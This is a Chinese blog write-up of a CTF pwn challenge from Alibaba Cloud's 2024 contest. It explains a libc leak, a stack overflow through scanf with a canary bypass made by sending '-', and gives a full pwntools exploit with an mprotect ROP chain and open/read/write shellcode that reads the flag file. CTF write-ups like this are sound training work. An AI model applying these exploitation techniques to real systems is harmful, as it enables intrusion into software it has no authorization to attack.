阿里云2024 CTF pwn 签到题

文章讲述了参与者在阿里云比赛中解决一道逆向工程题目,涉及静态分析、栈溢出漏洞发现、canary绕过以及ROP链的构造过程,展示了如何通过给数组赋值、泄露地址和执行恶意代码来完成挑战。
摘要由CSDN通过智能技术生成

先小小感慨一下 不愧是阿里云的比赛,签到题都做的我汗流浃背,这题让我明白自己离pwn佬还有非常远的距离要走,吾辈真的还须努力!!!!!

准备阶段


保护全开!!! 坐起来和它打 md

静态分析

SUB_12C9

看到这种就知道了 淦 开了沙盒 要用orw去读取flag了

sub_14D7

看上去很吓人,但其实 就相当于dowrd_6080为起点 来搭建一个数组 通过这个函数去给每个数组赋初值,这里应该是作者构建好的,我们无法去控制这个函数的地方,所以只要知道是赋值就行

start

这里就是主界面了 通过read的值跳到sub_19D6() 和 sub_2F1D

sub_19D6

这里sub_13F0 我们进去看看 发现就是一个读取size的函数,然后看一下sub_1445 就是一个检查和过滤没啥用,注意下这里定了ptr,然后我们跳转到

这里是第二个关键数组dword_66E0 和前面的dowrd_6080,这里也是以这个为起点搭建一个数组,这个sub_13F0 就是给这个数组读取值,而这个值是我们可以输入的!!!!然后我们输入完这里就基本结束了,然后看一下下一个函数

骚操作

因为我不是很懂ida 在调试的时候都是把地址写下来通过偏移把数组搭建好的,然后这时候我旁边那个逆向大佬看不下去了,就教我一个ida的操作

右键初始地址 点击array

sub_2F1D()

这里可以看到 我们就是通过给数组的值来绕过各种if检查来到有漏洞的函数

漏洞函数

这里就可以泄露地址了 会把ptr的地址指向的位置打印出来,这就是泄露地址的位置

那地址都已经泄露了 假设我们可以通过这个泄露的地址得到libc地址,那么我们要如何进行攻击呢?于是我们继续进行代码审计

发现有很多这样结构的函数 而v3是在栈上的地址,这里循环条件是v2 而v2是开始读取进入的字节数,也就是说0x20是不够溢出的,但是这个思路是可以溢出的,也就是说我们只要找到一个读取字节数比较大的就可以了

于是我们通过跟踪read函数找到了这个

这就足够我们栈溢出了 那么canary要怎么办呢??? 这也是困扰了我挺久的问题,重点来了!!!

canary的绕过

由于是__isoc99_scanf("%d", &v3[4 * i]); 进行的读取 导致的栈溢出

那么我能不能在保证不影响canary的情况下直接跳过去到rbp呢,我开始想的是发送换行符,但不行 会直接默认作废然后发送原本应该下一次的内容到这一次,不能直接跳过。我通过去查找资料发现

因此,当您发送减号 - 后,scanf 会将其识别为负数的开始,并会继续等待输入数字,直到达到非数字字符,换行符,或者文件结束。在这个例子中,您发送的只是一个 -,然后紧接着一个换行符(因为 sendline 函数会发送换行符),scanf 函数会在遇到换行符之后停止读取,并且由于没有读取到任何数字,它将无法成功将任何值存储到 v3[4 * i]

也就是说它已经接收到了东西而不是没接收到 就说明已经开始了这个函数的执行,但是因为函数的性质会导致没有读入东西,因此我们可以通过这样的方式绕过canay。哇靠 出题人真的厉害 ,

因此我们绕过canary 就可以开始进行rop的构造了

静态分析总结

定义了两个数组,通过给第二个数组赋值来绕过各种判断语句 到达漏洞函数,通过第一个漏洞函数泄露libc地址,通过第二个漏洞函数 进行栈溢出并且能够绕过canary 执行rop链

动态调试

可以看到ptr基本没怎么变过

先动态调试确认下我们泄露的ptr指向的地址是什么东西

0x55555555b2a0 这是ptr的地址

可以看到 ptr指向的位置是main_arena 的地址 我干 但是我们要传入参数,就是往堆里面放一些数据,但为了不破防地址 我们就传入一个a也就是61 就把偏移变一下 不影响我们解题

这里就是这样,然后我们到puts函数那个位置看一下 是不是泄露的和这个一样,中间绕的那部分再静态分析中讲清楚了这里就不多说了,我直接给出数组

N = [0,4, 0, 4, 0, 0, 0, 0, 0, 0, 1, 0, 4, 8, 4]

可以看到和我们调试的一样(我前面是直接动调的,这里是拿我写好后的exp调的 地址会变 但没影响)

泄露成功 然后 我们就直接到栈溢出的函数 进行栈溢出就行了,这里给大家调试看下canary的绕过

没溢出前


溢出后

可以看到这个方法是可以绕过canary的

然后我们构造rop链,由于溢出长度不够 我们先把shellcode读入再去执行 orw链 就结束了

exp

#!/usr/bin/python3
from pwn import *

file = "./qiandao"
mx = process(file)
elf = ELF(file)
libc = elf.libc
context.log_level = "debug"
context.arch = 'amd64'  # 设置为64位架构


# -----------------------------------------------------------
def add1(size, content):
    N = [0, 0, 4, 0, 4, 0, 0, 0, 0, 0, 0, 1, 0, 4, 8, 4]
    mx.recvuntil("hhh\n")
    mx.sendline("1")
    mx.recvuntil("size???\n")
    mx.sendline(str(size))
    mx.sendline(content)
    mx.recvuntil("Lucky Numbers\n")
    for i in N:
        mx.sendline(str(i))


def add2(size, content):
    N2 = [0, 4, 4, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 4]
    mx.recvuntil("hhh\n")
    mx.sendline("1")
    mx.recvuntil("size???\n")
    mx.sendline(str(size))
    mx.sendline(content)
    mx.recvuntil("Lucky Numbers\n")
    for i in N2:
        mx.sendline(str(i))


def dbg():
    gdb.attach(mx)


dbg()
add1(0x10, b'a')
mx.sendline("2")
mx.recvuntil("\n")
libc_addr = u64(mx.recv(6).ljust(8, b'\x00')) - 0x1249 - 0x1d2f18
log.success("libc_addr--->" + hex(libc_addr))

add2(0x10, b'a')
mx.sendline("2")
mx.sendafter(b'xmki', b'a' * 0x200)

# pause()
for i in range(0x42):
    pl = str(0x62626262)
    mx.sendline(pl)
mx.sendline("-")
mx.sendline("-")
mx.sendline(str(0x62626262))
mx.sendline(str(0x62626262))

mprotect = libc.sym['mprotect']
read64 = libc.sym['read']
open64 = libc.sym['open']
write64 = libc.sym['write']
addr = libc.sym['__malloc_hook'] & ~0xfff
pop_rdi = libc.address + 0x0000000000027c65
pop_rsi = libc.address + 0x0000000000029419
pop_rdx_rbx = libc.address + 0x000000000084565

rop = p64(pop_rdi) + p64(addr)
rop += p64(pop_rsi) + p64(0x1000)
rop += p64(pop_rdx_rbx) + p64(7) + p64(0) + p64(mprotect)
rop += p64(pop_rdi) + p64(0)
rop += p64(pop_rsi) + p64(addr)
rop += p64(pop_rdx_rbx) + p64(0x600) + p64(0)
rop += p64(read64) + p64(addr)

for i in range(0, len(rop), 4):
    n = u32(rop[i:i + 4])
    mx.sendline(str(n))

for _ in range(0x200 - 0x42 - 4 - (len(rop) // 4)):
    mx.sendline(str(0x62626262))

sh = shellcraft.open('./flag.txt')
#  shellcraft.read(3,addr+0x300,0x400) +\
#  shellcraft.write(1,addr+0x300,0x100)

sh += \
    '''
        mov rdi, 3
        push 0x100
        lea rbx, [rsp-8]
        push rbx
        mov rsi, rsp
        mov rdx, 1
        xor r10, r10
        xor r8, r8
        push SYS_preadv
        pop rax
        syscall

        push 1
        pop rdi
        push 0x1
        pop rdx
        push 0x100
        lea rbx, [rsp+8]
        push rbx
        mov rsi, rsp
        push SYS_writev
        pop rax
        syscall

    '''
shellcode = asm(sh)
mx.send(shellcode)
mx.interactive()

参考来源 :2024阿里CTF WriteUp By Mini-Venom (qq.com)

  • 30
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值